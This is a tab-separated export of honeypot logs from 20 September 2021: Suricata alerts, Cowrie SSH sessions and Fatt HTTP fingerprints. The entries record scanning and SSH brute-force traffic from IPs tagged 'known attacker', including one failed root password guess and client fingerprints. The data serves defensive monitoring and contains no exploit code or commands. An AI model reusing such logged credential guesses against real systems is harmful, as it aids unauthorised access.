35564	110.137.195.172	109.199.241.180	Suricata	2021-09-20 15:09:24.941539+03	2021-09-20 15:15:03.43069+03	{"_id": "zQYcA3wBvYTbRNuEaFzM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:09:24.457773+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 887, "bytes_toserver": 294}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "proto": "TCP", "src_ip": "110.137.195.172", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 265609266134061, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"], "flowints": {"tcp.retransmission.count": 1}}, "src_port": 14188, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:09:24.941539Z", "@timestamp": "2021-09-20T12:09:24.941Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	ID
35565	110.137.195.172	109.199.241.180	Suricata	2021-09-20 15:09:24.941539+03	2021-09-20 15:15:03.43169+03	{"_id": "zgYcA3wBvYTbRNuEaFzM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "proto": "TCP", "src_ip": "110.137.195.172", "dest_ip": "192.168.20.116", "flow_id": 265609266134061, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"], "flowints": {"tcp.retransmission.count": 1}}, "src_port": 14188, "dest_port": 22, "timestamp": "2021-09-20T12:09:24.941539Z", "@timestamp": "2021-09-20T12:09:24.941Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	ID
35566	107.189.14.98	109.199.241.180	Suricata	2021-09-20 15:09:27.362953+03	2021-09-20 15:15:03.433719+03	{"_id": "4gYcA3wBvYTbRNuEcFye", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/", "length": 216, "status": 200, "hostname": "109.199.241.180", "protocol": "HTTP/1.1", "http_port": 80, "http_method": "GET", "accept_encoding": "gzip, deflate", "accept_language": "en-GB,en;q=0.5", "http_user_agent": "Linux Gnu (cow)", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.189.14.98", "asn": 53667, "as_org": "FranTech Solutions", "dma_code": 759, "latitude": 41.1034, "location": {"lat": 41.1034, "lon": -104.9059}, "timezone": "America/Denver", "city_name": "Cheyenne", "longitude": -104.9059, "postal_code": "82001", "region_code": "WY", "region_name": "Wyoming", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "tx_id": 0, "ip_rep": "known attacker", "src_ip": "107.189.14.98", "dest_ip": "192.168.20.116", "flow_id": 1573778995262769, "@version": "1", "in_iface": "enp5s0", "src_port": 44036, "dest_port": 80, "timestamp": "2021-09-20T12:09:27.362953Z", "@timestamp": "2021-09-20T12:09:27.362Z", "event_type": "http", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	http	known attacker	US
35567	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:09:31.399208+03	2021-09-20 15:15:03.435691+03	{"_id": "AwYcA3wBvYTbRNuEgF1A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1944720288274725, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 22319, "dest_port": 22, "timestamp": "2021-09-20T12:09:31.399208Z", "@timestamp": "2021-09-20T12:09:31.399Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35569	80.158.5.25	109.199.241.180	Suricata	2021-09-20 15:09:33.756424+03	2021-09-20 15:15:03.43769+03	{"_id": "DwYcA3wBvYTbRNuEiF0R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:33.756424+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "80.158.5.25", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "80.158.5.25", "stream": 0, "dest_ip": "192.168.20.140", "flow_id": 1797518874479304, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 41346, "timestamp": "2021-09-20T12:09:33.756424Z", "@timestamp": "2021-09-20T12:09:33.756Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	DE
35570	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:09:33.813577+03	2021-09-20 15:15:03.438691+03	{"_id": "DQYcA3wBvYTbRNuEiF0R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:09:33.813577Z", "@timestamp": "2021-09-20T12:09:33.813Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35571	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:09:34.070639+03	2021-09-20 15:15:03.440689+03	{"_id": "EAYcA3wBvYTbRNuEil3V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/987321654] failed", "session": "0cc2335b7c4d", "@version": "1", "password": "987321654", "username": "root", "timestamp": "2021-09-20T12:09:34.070639Z", "@timestamp": "2021-09-20T12:09:34.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35572	157.240.234.15	109.199.241.180	Suricata	2021-09-20 15:09:34.53225+03	2021-09-20 15:15:03.44169+03	{"_id": "EQYcA3wBvYTbRNuEi137", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:34.532250+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.15", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.15", "stream": 0, "dest_ip": "192.168.20.140", "flow_id": 828765378584346, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 44780, "timestamp": "2021-09-20T12:09:34.532250Z", "@timestamp": "2021-09-20T12:09:34.532Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
35573	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:09:29.967045+03	2021-09-20 15:15:03.44269+03	{"_id": "9gYcA3wBvYTbRNuEfFxX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:09:29.967045Z", "@timestamp": "2021-09-20T12:09:29.967Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35574	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:09:31.138304+03	2021-09-20 15:15:03.443691+03	{"_id": "_QYcA3wBvYTbRNuEf1wb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:22319 (192.168.176.2:22) [session: 0cc2335b7c4d]", "session": "0cc2335b7c4d", "@version": "1", "protocol": "ssh", "src_port": 22319, "dest_port": 22, "timestamp": "2021-09-20T12:09:31.138304Z", "@timestamp": "2021-09-20T12:09:31.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35576	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:09:31.399633+03	2021-09-20 15:15:03.44569+03	{"_id": "_wYcA3wBvYTbRNuEf1wb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "0cc2335b7c4d", "@version": "1", "timestamp": "2021-09-20T12:09:31.399633Z", "@timestamp": "2021-09-20T12:09:31.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35577	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:09:31.5352+03	2021-09-20 15:15:03.44769+03	{"_id": "AAYcA3wBvYTbRNuEgF1A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 0, "status": 100, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "dest_ip": "78.83.66.198", "flow_id": 1117230414384533, "@version": "1", "fileinfo": {"gaps": false, "size": 102205, "magic": "ASCII text, with very long lines", "state": "TRUNCATED", "tx_id": 0, "stored": false, "filename": "data.json"}, "in_iface": "enp5s0", "src_port": 57880, "app_proto": "http", "dest_port": 8000, "timestamp": "2021-09-20T12:09:31.535200Z", "@timestamp": "2021-09-20T12:09:31.535Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	\N
35578	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:09:34.268129+03	2021-09-20 15:15:03.448689+03	{"_id": "EwYcA3wBvYTbRNuEi137", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 6, "status": 200, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "authorization": "Token 1234567890", "http_user_agent": "curl/7.64.0", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "tx_id": 0, "src_ip": "192.168.20.116", "dest_ip": "78.83.66.198", "flow_id": 1117230414384533, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, "src_port": 57880, "dest_port": 8000, "timestamp": "2021-09-20T12:09:34.268129Z", "@timestamp": "2021-09-20T12:09:34.268Z", "event_type": "http", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	http	\N	\N
35579	107.189.14.98	109.199.241.180	Fatt	2021-09-20 15:09:27.280773+03	2021-09-20 15:15:03.449695+03	{"_id": "5wYcA3wBvYTbRNuEcVzn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.189.14.98", "asn": 53667, "as_org": "FranTech Solutions", "dma_code": 759, "latitude": 41.1034, "location": {"lat": 41.1034, "lon": -104.9059}, "timezone": "America/Denver", "city_name": "Cheyenne", "longitude": -104.9059, "postal_code": "82001", "region_code": "WY", "region_name": "Wyoming", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.189.14.98", "dest_ip": "192.168.20.116", "@version": "1", "protocol": "http", "src_port": 44036, "dest_port": 80, "fatt_http": {"userAgent": "Linux Gnu (cow) ", "requestURI": "/", "requestMethod": "GET", "requestFullURI": "http://109.199.241.180:80/", "requestVersion": "HTTP/1.1", "clientHeaderHash": "23cfe92feeb0fb90b7c5f73bac10ab5e", "clientHeaderOrder": "host,user_agent,accept,accept_language,accept_encoding,connection"}, "timestamp": "2021-09-20T12:09:27.280773", "@timestamp": "2021-09-20T12:09:27.280Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	http	\N	\N	known attacker	US
35580	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 15:09:27.9145+03	2021-09-20 15:15:03.451692+03	{"_id": "7gYcA3wBvYTbRNuEc1xj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ebd95aee0017", "@version": "1", "duration": 3.2126922607421875, "timestamp": "2021-09-20T12:09:27.914500Z", "@timestamp": "2021-09-20T12:09:27.914Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	ID
35604	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 15:09:42.782656+03	2021-09-20 15:15:03.483691+03	{"_id": "VQYcA3wBvYTbRNuErl0G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "9fc59c8db3f6", "@version": "1", "duration": 3.4076285362243652, "timestamp": "2021-09-20T12:09:42.782656Z", "@timestamp": "2021-09-20T12:09:42.782Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
35581	80.158.5.25	109.199.241.180	Suricata	2021-09-20 15:09:34.114948+03	2021-09-20 15:15:03.452691+03	{"_id": "FQYcA3wBvYTbRNuEi137", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:33.756424+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 205}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "80.158.5.25", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "80.158.5.25", "stream": 0, "dest_ip": "192.168.20.140", "flow_id": 1797518874479304, "payload": "FQMDABrtUYn4fTSxc/Y6pKrr8Wx6+4LX2cFkkOjIEA==", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 41346, "timestamp": "2021-09-20T12:09:34.114948Z", "@timestamp": "2021-09-20T12:09:34.114Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......Q..}4.s.:....lz.....d...."}}	1	\N	\N	alert	\N	DE
35582	157.240.234.15	109.199.241.180	Suricata	2021-09-20 15:09:34.585083+03	2021-09-20 15:15:03.45369+03	{"_id": "FgYcA3wBvYTbRNuEi137", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:34.532250+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.15", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.15", "stream": 0, "dest_ip": "192.168.20.140", "flow_id": 828765378584346, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 44780, "timestamp": "2021-09-20T12:09:34.585083Z", "@timestamp": "2021-09-20T12:09:34.585Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
35583	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 15:09:40.320383+03	2021-09-20 15:15:03.45569+03	{"_id": "LQYcA3wBvYTbRNuEol1L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 117.22.230.94:2137 (192.168.176.2:22) [session: 647a847dec67]", "session": "647a847dec67", "@version": "1", "protocol": "ssh", "src_port": 2137, "dest_port": 22, "timestamp": "2021-09-20T12:09:40.320383Z", "@timestamp": "2021-09-20T12:09:40.320Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35584	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 15:09:40.321271+03	2021-09-20 15:15:03.45669+03	{"_id": "LgYcA3wBvYTbRNuEol1L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "647a847dec67", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:09:40.321271Z", "@timestamp": "2021-09-20T12:09:40.321Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35585	117.22.230.94	109.199.241.180	Suricata	2021-09-20 15:09:40.589572+03	2021-09-20 15:15:03.45769+03	{"_id": "LwYcA3wBvYTbRNuEo11t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "flow_id": 1124319258527736, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2137, "dest_port": 22, "timestamp": "2021-09-20T12:09:40.589572Z", "@timestamp": "2021-09-20T12:09:40.589Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
